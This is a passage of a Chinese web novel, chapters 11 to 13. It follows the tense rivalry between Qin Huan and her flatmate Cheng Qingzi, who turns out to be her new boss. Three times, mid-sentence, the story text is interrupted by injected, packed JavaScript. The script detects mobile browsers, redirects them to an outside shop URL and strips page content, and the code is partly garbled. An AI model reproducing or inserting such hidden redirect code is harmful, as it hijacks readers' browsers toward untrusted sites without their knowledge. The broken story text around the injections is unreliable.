免得程清姿天天在她这里找不痛快。 她直起身,后背从湿冷的墙壁上挪开,正准备去开门。 程清姿却比她先一步出了声: “我没事,刚刚打了个电话,客户那边想要一份表格,那客户无赖,跟她吵了一架。” “噢噢,好。”岳雨桐松了口气,低头看了下手表,“你别坐太久啊,容易长痔疮。” 程清姿瞥了眼僵在墙边的秦欢,温声应道:“知道了。” 她抬手拧开水龙头,水流声哗啦啦响起,又在几秒后被关停。程清姿径直越过一动不动的秦欢,拉开门,走了出去。 秦欢躲在卫生间里,程清姿出卫生间的时候没关灯,秦欢反应过来后立马关了。 她在昏暗里听岳雨桐和程清姿聊天。 岳雨桐确实是来取东西,这会儿拿了东西,她们正往外走,秦欢听到门打开又关上的声音。 半分钟后,客厅里再没有任何动静,秦欢才做贼似的猫着身子出来。浑身泄了气似的,她瘫躺在沙发上,身体拉得长长的,一动不动地望着天花板。 很烦。 烦得她闭上眼睛,在沙发上扭了几下,翻身把脸埋在沙发上,往里拱,恨不得把自己整个人塞进去。 刚经历了一场惊心动魄的心理战,此刻的秦欢身心疲惫,加上一心逃避,眼皮越来越沉,不知不觉间打起了盹。 不知睡了多久,迷迷糊糊好像听见什么响动。身体本能判断没有威胁,便没醒来。 直到头顶前方的沙发垫微微下陷。 秦欢感觉到了到了,可意识还粘在混沌梦乡中,没能立刻清醒。 直到一道存在感极强的视线,从容不迫定在她身上。 秦欢后知后觉,醒了。 抬起头,最先入眼的是近在咫尺的半截大腿,被灰色的休闲运动裤包裹着,顺着那截腿往上望去,她懵懵懂懂地对上了一双眼睛。 程清姿垂眸看着她,逆着光,目光晦暗难辨。 秦欢:!!! 程清姿什么时候回来的?! 她下意识往后一缩,慌张地用手去撑,想要爬起来。手臂在身下压太久已经麻了,刚一用力就软了下去,秦欢整个人猛地往下一栽,脸颊在沙发垫上结实地砸了一下。 “唔……” 秦欢闷哼一声,皱着眉弓起腰,狼狈地爬坐起来,又手脚并用地往后挪了挪,拉开和程清姿的距离。 裹紧衣服,秦欢盯着沙发对面的墙壁,快速用力眨眼,强迫自己清醒过来。 “岳雨桐呢?”她伸手捏了捏太阳穴,故作镇定问。 “送她到地铁口了。怎么,你要跟着去?” 秦欢下意识反呛:“你怎么不跟着去?” 程清姿一本正经回答:“没有校园卡,进不去她们学校。” 你来我往地说了几句话,秦欢彻底清醒了。 秦欢后知后觉想起一些事,一时有些口干舌燥,秦欢站起来接了杯水喝。 清凉的水灌进喉咙,明明没什么味道,秦欢却莫名想起程清姿靠过来时,那股极其好闻的、清冽的柠檬香气。 秦欢想,那洗手液的味道挺好闻。 但、是—— 她猛地拧眉,放下杯子气冲冲回头,朝程清姿郑重其事地说: “程清姿,拜托你不要对我动手动脚的,我跟你不熟。” 程清姿原本在看手机,听见她语气这么严肃,不得不回头,看见她表情更是严肃,疑惑起来,“我有对你动手动脚的吗?” “有!”秦欢非得把这件事掰扯清楚,确定两人相处的边界,免得一天吵三顿,“你捂我嘴,抓我的手腕……我们关系没到那一步。” 她不许程清姿靠近她。 程清姿静悄悄看着她,等她把那一番话说完。 程清姿压了压眉头:“在给我定规矩之前,不如先自省一下。双标可不是什么好事。” “我又没对你动手动——”话音未落,灯光下程清姿忽然冷笑了一声。秦欢瞬间明白她的言外之意,别过脸,梗着脖子解释:“我必须跟你说一下,我那天不是故意的。” 要知道程清姿在里面做那种事,她死也不会推开门。 关键程清姿信不信。 大概率是不信的,但秦欢不想跟她在这件比较暧昧不好言说的事情上掰扯。 “好好好,不说这个。”她快步走回去,坐下沙发上,先一步认输,“我知道你讨厌我,我也一样。我签的是半年的租房合同,半年之后,或者我找到了转租的人,我会立刻搬出去。” 她顿了顿,抬眸看向程清姿,“我住进来之前,确实不知道是你,你也不用对我这么大恶意。” 程清姿偏了偏头:“……恶意?” “今天晚上难道不是吗?那东西你明明吃饭的时候可以拿去给雨桐,你非要带她回来,故意在卫生间不说清楚,难道不是故意羞辱我?” 并且她察觉得出来,程清姿是能从这种羞辱中获得愉悦的。 程清姿这回不说话了。 她冷笑一声,转过头去,把茶几上的一盒牛奶撕开喝了。 牛奶润了润嗓子,程清姿面无表情开口道:“对你有恶意不至于,你还没有这么大的本事,反正从头到尾都是你的单相思不是吗?岳雨桐不会喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149548|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你的。” 这话说得太过扎心,秦欢咬了咬唇,想不出怎么反驳。 “所以你对她的那点心思,趁早收了吧。”程清姿的声音很淡,“怀着那种念头守在她身边,难道想等到七老八十,还顶着个好朋友的名头吗?” 这话倒不全是刻意针对。岳雨桐在爱情上似乎一直就很淡,秦欢从没听说她喜欢过谁,也没感觉她对谁有过明确喜欢,唯一称得上例外的,恐怕也只有眼前的程清姿。 但这话怎么也不该由程清姿对她说。 义正词严劝她收了心思,那程清姿呢? 秦欢道:“在给我定规矩之前,不如先自省一下。双标可不是什么好事。” - 周日晚,秦欢和岳雨桐约在一家新开的干锅鸡店。 两人许久未见,话多得说不完,从新闻八卦聊到学校工作。和秦欢在一起的岳雨桐也格外活泼健谈,秦欢听着,心情也跟着明亮起来。 拍照、聊八卦、吐槽同事领导……话题不知怎么拐到了谁和谁谈恋爱的事上。想起昨晚程清姿的话,秦欢试探着问:“雨桐,你有没有喜欢的人?” 岳雨桐的回答照旧是:“没有呀。” 秦欢玩笑道:“我不信,这么多年了,怎么可能一个都没有。” “为什么非得有喜欢的人啊?上学上得都烦死了,感觉这时候喜欢一个人会很命苦的样子……”岳雨桐托着腮,看向垂眸思索的好友,伸手轻轻点了点她下巴,“我喜欢你,算不算?” “不是这种,”秦欢摇头,压低声音,“是……会有性|欲的那种喜欢。” 岳雨桐笑:“这样啊……那喜欢我自己算吗?我会自己解决,应该算对自己有性|欲吧?” 秦欢:“……” 岳雨桐还和从前一样,对恋爱这回事当真没什么兴趣。 哼哼,她没机会,程清姿不也一样没机会? 秦欢心里莫名舒坦了些。 两人说了很多话,不知不觉吃撑了,饭后在路灯下挽着手散步,有一搭没一搭地哼歌。哼着哼着,岳雨桐唱起了高潮部分,唱完回过头,眼睛亮晶晶地等评价。 秦欢十分捧场地鼓掌:“好听好听!” “说真话。” 秦欢:“呕哑嘲哳难为听。” 两人对视的一瞬,不约而同地想起另一个人。 她们三个人中,有一个人唱歌很好听,但是不爱开嗓,剩下两个人唱歌难听得不分伯仲。 秦欢想起三个人第一次去ktv唱歌。 程清姿只是来陪发小玩,并不点歌也不唱歌,只是默默坐在角落吃水果。后来被热情的岳雨桐架着上去唱了一首歌。 唱的是一首有关告白的歌,很好听,程清姿拘谨地握着话筒,目光全程看着岳雨桐。 岳雨桐还在那儿傻乐,挥着另一只话筒给她当气氛组。后来,是秦欢接过了那只挥动的话筒,跟程清姿一起唱完了最后几句。 那会儿秦欢十分不喜程清姿,却不得不承认:程清姿确实有一副好嗓子。 后来才知。 那人在耳边压抑喘息、带着颤音的哼吟,也是好听得很。 12. 第 12 章 秦欢到家的时候客厅开着灯,推门往里进,视线在客厅里转了一圈,客厅并没有人。 茶几上放着一杯牛奶。 秦欢猜程清姿又没吃正经晚饭,只吃了半片面包或者几片饼干敷衍了事。 秦欢四仰八叉躺在沙发上,闭着眼,黑色的视野中央被天花板的灯光压出一片密密的白。有点累,秦欢靠在沙发上放空了一会儿。 忽地听到一旁传来动静,秦欢下意识偏过头,循着声音望向阳台。 阳台的遮光帘收束在两侧,只拉了一层薄纱帘。此刻朦朦胧胧的,大概是玻璃门没关严,夜风一吹,那层纱雾气似的轻轻晃起来。 一道纤瘦清冷的背影,在纱帘后时隐时现。 秦欢没再多看,起身去洗澡。 明天就要上班了,她今晚得先拿出明天上班要穿的衣服,以及明天要带去的资料。 休息了好几个月,秦欢还不太习惯上班,尤其不习惯早起,因此不得不订了好几个闹钟。 早晨,在关掉第五个闹钟后,秦欢烦躁地从床上爬起来,第一时间去拉窗帘。明亮光线透进来,刺痛眼睛。 秦欢转身拉开卧室门,视野还恍惚呢,忽然一个人影淡然摇过。 程清姿也起床了。 秦欢顿了一下,莫名其妙就有点做贼心虚,扒着门探出头去,目光在程清姿头顶那戳翘起来的头发上晃了晃,很是惊奇,还没仔细看两眼,程清姿拐进了卫生间。 卫生间只有一个洗漱台,秦欢只好在沙发上坐着等待。 哗啦啦的水声从里面传来,驱散了她最后一点困意。她收回望向卫生间的视线,不知怎的,竟鬼使神差地伸手捏了捏自己的头发,试图往上翘起一撮。 程清姿出来的时候奇怪地看了她一眼,秦欢一愣,忙收回手,装作无事发生,顺势托腮思考人生。 程清姿转身往房间走。秦欢看见她后脑勺那一小撮翘起的头发,随着她高冷的步调,一颠一颠地晃进了房间。 她在房间里进进出出,那撮乱发一次比一次服帖,人也像奇迹暖暖换装似的,每次出来身上都多添了点什么,或是平整了一块。最后一次走出房门时,程清姿换上了一身漂亮干练的职业装,手里提着通勤包,长发被她扎了起来,漏出圆润的后脑勺和漂亮的肩颈线。 秦欢莫名琢磨出一点怪异隐秘的乐趣。 秦欢想,她总是很衬这样的衣服。 从前程清姿穿校服也好看。她们高中有三套校服,两套宽大的运动装,一套是正式场合的制服,别人穿上那套制服总显得别扭呆板,唯独程清姿穿得妥帖周正,仿佛那身衣服生来就是为她量身裁制的。 那头程清姿正弯腰穿鞋,似乎察觉到什么,直起身,回头望了一眼。 沙发上已经空了。 秦欢哼着歌进了卫生间。 - 秦欢入职报道的时间是早上十点整。 新公司离她住的地方不远,只隔两个地铁站。抵达后,她在休息区稍等片刻,人事来了之后带她去小会议室签合同,交代注意事项,收齐入职所需的资料。 之后是简短的入职培训,主要是介绍公司的主要业务、几个相关部门,又提醒秦欢取一个英文名,公司内部习惯以英文名相称。 “我叫Emma。”女生递给秦欢一瓶水,“欢迎加入公司,这里是饮水机,旁边是咖啡机,那边是冰箱,都是可以用的。” “好,谢谢。” “你的领导是Trista,你目前的工作就是协助她处理一些事。”Tina侧过头朝秦欢笑了笑,“她可是个大美女哦。” 就是性格有点冷,属于高岭之花那一款。 Tina领着秦欢朝里走,最终停在一排工位的尽头,靠窗的位置。 “Trista,新人来报到啦。” 噼里啪啦的键盘声应声停下。 秦欢看向那张过分干净的桌面。 一路走过来,大家的工位上或多或少摆着盆栽、小风扇、水杯或可爱摆件,眼前这张却是极致的“打工人随时跑路风”。桌上文件摆放得整整齐齐,除了一个黑色水杯,再无其他私人物品。 “嗯。” 一声极为冷淡的回应。 秦欢还没来得及细想这嗓音里那点似曾相识的感觉,眼前转椅已向后滑开半尺。 坐在椅子上的女人跟着转过来。 确实是个大美女,但秦欢一点也高兴不起来。 一个半小时前才在客厅里见过的脸,此刻就这么猝不及防地出现在秦欢眼前。 程清姿双手随意搭在扶手上,先朝Tina礼节性地点了下头,视线随即转向一旁略显局促的秦欢,唇角勾起一丝极淡的、职业化的弧度。 “你好,我是Trista。” 语气平淡,礼貌疏离,俨然一副公事公办、初次见面的模样。 秦欢觉得不对劲。 最近碰上程清姿的概率有点太高了——鹭围市多大啊,她怎么哪哪都能见到程清姿? “……Anna?”一旁的人事见秦欢似在发呆,出声提醒。 秦欢迅速定神,对着程清姿回以一个同样标准客气的微笑: “你好,我是Anna。” 人事交代了几句便离开了,剩下两人面对面对视着,空气一时间陷入沉默。没几秒,程清姿转过去做自己的事情。 秦欢站着思考:要趁着上班第一天跑路吗? 她下意识往门口的方向瞥了一眼——门关着,得刷脸才能出去,她还没被录入人脸系统,要出去得跟人事说一下,让她开门。 到时候人事肯定会问她离职原因,她要怎么说呢。 我和上司是情敌?见了情敌就跑听起来也太丢脸。 秦欢把椅子拉开,坐进工位。 不如趁着中午吃饭出门,下午直接不来了……给程清姿当助理,程清姿不得可劲刁难她?能不能过试用期都难说。 安能摧眉折腰事情敌! 秦欢拧开水瓶,猛地灌了一大口,无助地盯着电脑屏幕发呆,熬时间。 咚、咚。 桌子忽然被敲了两下。 程清姿对上她尚且茫然的眼,脸上没什么表情,“看下群。” 秦欢忙点开钉钉界面,大群里除了欢迎新人的消息,没有别的消息。秦欢又点开腾讯企点窗口界面。 程清姿拉了个两人的工作群,并往群里发了文件。 【@Anna看文件熟悉下工作内容,整理下我们已有的产品,看有哪些可以改进的,整理成一个表格给我。】 秦欢:…… 程清姿真是迫不及待使唤她!她才不做!她要跑路! 但为了顺利无声无息离开,秦欢在群里回复:收到。 一早上,秦欢都在心不在焉地摸鱼,思绪飘忽,手指在键盘上有一搭没一搭地敲着。偶尔,眼珠会不受控制地往眼尾一转,视线飞快地、偷偷地,朝旁边的程清姿瞥去。 程清姿工作起来依旧是那副清冷专注的模样,和她学习的样子一样。修长白皙的手指在键盘上噼里啪啦地敲着,偶尔会撑着下巴静静思考,偶尔,也会不经意地、轻轻偏过头。 两人的视线便猝不及防地,在半空中撞上。 秦欢眨了眨眼,装作只是看电脑屏幕久了休息,抬手捏了捏太阳穴,淡定将目光移开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149549|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 终于熬到了中午。 电脑上的时间跳到整点,秦欢假模假样地收拾了下桌面,刚站起来,正要把包背起来,忽然听到旁边一道冷淡声音: “文件看得怎么样了?” 秦欢偏过头,忍不住蹙眉,“下班时间了还要谈论工作啊?” 程清姿烦不烦。 “也是。”程清姿轻轻点头,垂眸看着秦欢手上的包,“吃饭不用背包。” 秦欢:…… 程清姿好烦!不背包她怎么跑路?而且她背不背包关程清姿什么事! 面上还是得维持礼貌:“Trista,我裤子没有兜,得带纸巾。” 程清姿:“我有。” 嗯?程清姿有关她什么事啊? 秦欢后知后觉地反应过来——程清姿这话的意思,该不会……是要和她一起吃午饭吧? 秦欢:“我得带水。” “楼下便利店有卖水。”程清姿垂眸扫了一眼她桌上的那瓶水,只剩一点点了。 秦欢抬眸,望着程清姿那张冷淡的脸,别扭地,罕见地,察觉其中固执。 周围的同事都在往外走,步履匆匆去赶电梯,偏偏程清姿十分突兀地站在这儿,不紧不慢地跟她拉扯这点破事。 程清姿多半是看出来了,她并不想留下来。 可是…… 秦欢不明白,程清姿这样子,似乎是想要她留下来。可是……程清姿为什么想她留下来? “走吧。”秦欢听见程清姿说,“一会儿电梯人多了。” 秦欢还是把包背上了。 电梯人果然很多,秦欢和程清姿等了好几趟才进去。 程清姿带她去了一家自助式的餐厅,菜品还算丰富,口味也挺对秦欢的胃口。两人找了个角落的位置坐下,沉默地对坐,沉默地吃饭。 程清姿饭量少,很快就吃完了,放下筷子,安静坐着等秦欢。 秦欢被她看得有些不自在,又有点心虚,含糊道:“你吃完了就先走吧,我吃饭很慢的。” “我不着急。” 秦欢:…… 这样她还怎么跑路。 磨磨蹭蹭吃完,秦欢不情不愿跟着程清姿走出来。 程清姿这会儿倒像个关爱下属的上司,有一搭没一搭地跟她说话,介绍:“二楼是休息区,有健身房,阅览室,休息的沙发。” 两人没走电梯,从旁边的防火门拐上了楼梯。 穿过休息区,尽头是一处宽敞的露天阳台。地面铺着草皮,花坛上错落种着些花草,角落里安置一架白色的双人秋千。 两人一前一后走过去,像在散步。 秋千是马车造型的,铁艺的拱顶上攀着绿藤与细小的花叶,疏疏落落地罩下来,滤掉一部分刺眼的阳光,在座椅上投下晃动的、斑驳的光影。 程清姿坐了上去,偏过头,看着秋千旁的秦欢。 秦欢并不说话。 秋千轻轻晃了起来,碎玉似的光斑在程清姿脸上跃动。 “怎么,我不是你想象中的温柔善良大姐姐,很失望?” 秦欢并没有回答问题。 她深深吸了一口气,开口很直接: “程清姿,你不觉得最近我们之间的巧合太多了吗?我租的房子,合租室友是你。我找的工作,顶头上司也是你。” 风过,几缕发丝拂过程清姿冷白脸颊。脚尖一点,秋千向后荡去,藤影和光斑在女人身上流动、交错。 秦欢望着那张在光影摇曳中模糊、却依旧无可挑剔的侧脸,目光不自觉追随。 咬着牙,一字一句道: “程清姿,我们应该没有这种缘分。” 13. 第 13 章 秋千在下一瞬停了下来。 程清姿脚尖轻轻抵着地面,偏过头,目光定定地落在秦欢脸上,像是等着她的下文。 “你既然是我的上司,我的简历……你肯定早就看过了。那天面试,你早就知道是我。” “是。” “那为什么还……”秦欢的声音低了下去,后半句卡在喉间。 程清姿看着她,似是不解:“你觉得我应该因为私人过节,就滥用职权,在第一轮就把你筛掉?” 秦欢顿了顿,没说话。 沉默蔓延一瞬,她又开口:“岳雨桐说的……帮我内推的那个朋友,也是你。” “是。” 程清姿看着她陡然绷紧的侧脸,忽而很轻地笑了一声:“怎么,要去找她兴师问罪?” “我没说!”秦欢立刻反驳,心里却像被什么刺了一下,涌上一股明显的烦躁。 为程清姿这样恶意揣摩她。 今天太阳实在太大,秦欢站了一会儿,便觉得额角要被晒得发烫。她抬脚踏上木板,在程清姿对面坐了下来,而后轻轻一推。 白色的,南瓜车似的秋千,载着两人缓缓晃了起来。 “为什么帮我?”一想程清姿可没有这么好心,秦欢猜道,“她求你的?” 秋千载着两人,一起,又一落。 程清姿靠着秋千后背,似是有些困倦,眼帘半阖。 “简历是你自己投的,面试是你自己过的。简历筛选和面试主要归华思文和老板管,我的作用有限。”她声音平缓,像在陈述一件与自己无关的事,“是你自己进来的,无所谓‘帮’这个字。” 光斑隔着薄薄的眼皮跳动,视野里红圈明明灭灭。 “对我来说,这不过是一份工作。”她顿了顿,声音更淡了些,“下属是谁,都一样。” 睫羽扫开晃动的金色碎光,程清姿睁开眼,那双灰调的眼眸里凝着几分极淡的、玩味的嘲弄,“至于对你来说意味着什么……” 她视线掠过秦欢放在一旁的包,唇角很轻地勾了一下。 “我的存在,就这么让你紧张?”声音跟着秋千一晃一晃的,忽远忽近,像羽毛搔过秦欢耳廓,“以至于让你这样……如临大敌,临阵脱逃。” 秦欢身体僵硬地坐在晃动的秋千上,丝毫感觉不到松快。 “没有紧张,只是觉得烦。”秦欢声音绷着,“反正岳雨桐不在这里,你也不用在我面前装什么。” 话音落下,她脚下一用力,重重踩地。秋千猛地向高处荡去,晃动幅度陡然增大,吱嘎声变得尖锐,仿佛下一秒就要散架。 程清姿并不退让,随后发力。秋千被她带得更高、更急,耳边的风声越来越快,发丝向后猎猎飞扬。 两人的视线在空中交汇,谁也不肯相让。 真是一场幼稚的对抗。 即便如此幼稚,秦欢也不想输给程清姿。秋千越来越高,吱嘎声响越来越大,整个架子都晃动起来。 最后是程清姿先收力。 “一会儿是不打算回去上班了?”程清姿脸上因用力浮起一层薄红,不等秦欢回应,她又淡声道,“遇到事第一反应就是跑,当胆小鬼,确实是你一贯的风格。” 话里是明显的嘲讽。 秦欢咬牙:“谁是胆小鬼?” 程清姿没理会她的反驳,自顾自说下去:“你最好跑出鹭围,跑得再远些,最好直接跑到月球上去。反正我不会去那儿,你也就不用看见我了。” 冷淡的三言两语,轻易挑出秦欢心底起伏的情绪。幸好秋千没停,风能吹散脸上颈间骤然腾起的热气。她深深吸了一口气。 “程清姿,你以为我是在躲你?” ——确实是,但眼下绝不能承认。都被这样嘲讽了,自然要呛回去,“你少自作多情了。我用不着躲你,我行的正坐的直。” 心里却也在想:凭什么就得是她躲程清姿? 不过是一份工作,程清姿不过是个上司,有什么好怕的?程清姿能给她添堵,她凭什么不能还回去? 这份工作是她自己堂堂正正面进来的,凭什么她要走。 对面的程清姿极轻地冷笑了一下。 秦欢抬着下巴看向那人:“你少用高高在上的姿态审视我,我告诉你,我还就继续在这儿上班,我拿包不过是装纸巾和手机而已,收起你那自以为是的判断。” 脚刹停,秦欢站起来,“没时间陪你在这儿玩了,我时间宝贵,要去睡午觉了。” 她转身就走,走之前还猛推了下秋千。 程清姿没想到她这动作,身体跟着秋千往前晃了一下。慌张扶住秋千藤条稳住身体,扭头,秦欢已气势昂扬走出好远。 二楼布置错综复杂,门掩着门,秦欢绕了一圈没找到怎么出去,一回头瞥见程清姿跟了过来,站在离她不远的拐角处,下巴朝旁边晃了下。 秦欢抿了抿唇,一言不发跟过去,进了电梯。 一点过了,大部分同事已经躺下午休。 秦欢轻手轻脚走回自己位置,一路看到许多摊开成小床的办公椅。 这椅子似乎能放平躺下。 可她不知道怎么操作,只能坐进座椅里,低头研究。手指在扶手周围摸索了半天,又弯下腰去看座椅底下有没有什么开关或按钮。 捣鼓了好一会儿还是没弄明白。周围的同事都已睡熟,她也不好意思开口问。 正抱着手臂发愁时,程清姿从卫生间回来了。 她朝秦欢这边瞥了一眼,似乎有些疑惑。秦欢被她视线一扫,下意识坐直了身子。 程清姿脱下外套,长发在身后晃了一下,落在衬衫上。她坐进座椅里,把座椅往后滑了下,而后,动作像是刻意慢了许多。 手指在扶手侧面轻轻一按,随即身体向后靠去。椅背缓缓下放,平展成一张窄床。接着伸手在座位下方一拉,又抽出一截托腿的板子。 程清姿躺了下去,将外套盖在脸上,闭上眼睛。 一旁的秦欢总算是看明白了。 她学着程清姿的动作,在扶手侧边找到了按钮,把椅背缓缓放平,再抽出腿托。躺下的那一刻,整个人都跟着松了下来。 室内光线昏暗,并不完全安静,隐约有空调的低鸣和远处键盘的轻响,混合成催眠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149550|196440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白噪音,秦欢很快入乡随俗,沉沉睡了过去。 另一头,盖在程清姿脸上的外套边缘,悄悄掀起一角。 一只眼睛从缝隙里露出来,灰色眼珠一滚,往旁边极快地瞥了一下。 那人已经乖乖躺好了。 - 上班第一天,尚在新手保护期,没什么重要任务。秦欢便按早上程清姿的要求,整理一份产品表格。 只是有些内容她确实不太清楚,又不想主动去问程清姿,自己埋头琢磨了许久,还是理不出头绪。最后只能在腾讯企点上小心翼翼敲了句话过去。 “哪里不懂?” 声音忽然从身侧传来。 秦欢还没反应过来,程清姿已经起身直接靠了过来。距离很近,近到秦欢能闻到她身上那股淡淡的、清冽的香气。 有点像兰花。 程清姿弯着腰,动作看起来像是将秦欢罩在身前。她接过了鼠标和键盘的控制权,动作利落地在屏幕上拉出几条数据链路和产品条目。 几缕发丝滑落,轻轻搭在秦欢肩头。隔着薄薄的衣料,那若有若无的触感让秦欢觉得有点痒。 太近了。 程清姿的声音在耳边低低响起,带着点微嗡的回音。秦欢其实没太听清内容,注意力全被那股香气拽走了。 是兰花香吗?前两天好像没注意到,是今天新换的香水? “懂了吗?” 秦欢:“……” 她不动声色往旁边挪了挪,身体终于从落在她肩膀的那缕头发的桎梏里逃脱出来。她难得有些心虚,摸了摸鼻尖: “……要不你再说一遍吧。” 程清姿动作一顿,偏头,视线在女人慌乱眨的睫毛上停留一瞬,“好。” 程清姿又说了一遍,只是内容有点多,她看着秦欢还有些发懵的眼神,知道她没完全记住,“在微信大群里有个文件,你找出来看看就知道了。” 秦欢知道她今天对自己够有耐心了,说了句谢谢。 只是…… 她忽然想起自己还没进工作群,便微微探身,朝已经坐回工位的程清姿小声道:“那个……能拉我进一下群吗?” 话音刚落,秦欢表情一顿。 她把程清姿拉黑了,程清姿自然没法拉她进群。 程清姿显然也记得这一点,偏头看她,看戏似的托着腮。 秦欢只好自己给自己找台阶下,捧着手机笑眯眯的,“领导,上班第一天,我加下您微信?” 程清姿皮笑肉不笑,“叫Trista就好。” “Trista,”秦欢脸上堆着假意的笑,“您扫我还是我扫您?” 为了工作,暂且忍辱负重一下吧。 “啊?”程清姿眉梢忽地挑了一下,目光如炬盯着秦欢,“我记得我之前有你微信的啊。” 这会儿是纯报复了。 秦欢后槽牙咬得吱嘎响,眼睛眯成笑眼。 程清姿看着眼前人快要绷不住的表情,轻声笑了笑,继续报复:“哦……忘记了,某人之前把我拉黑删除了。” 秦欢赔笑:“手误手误。”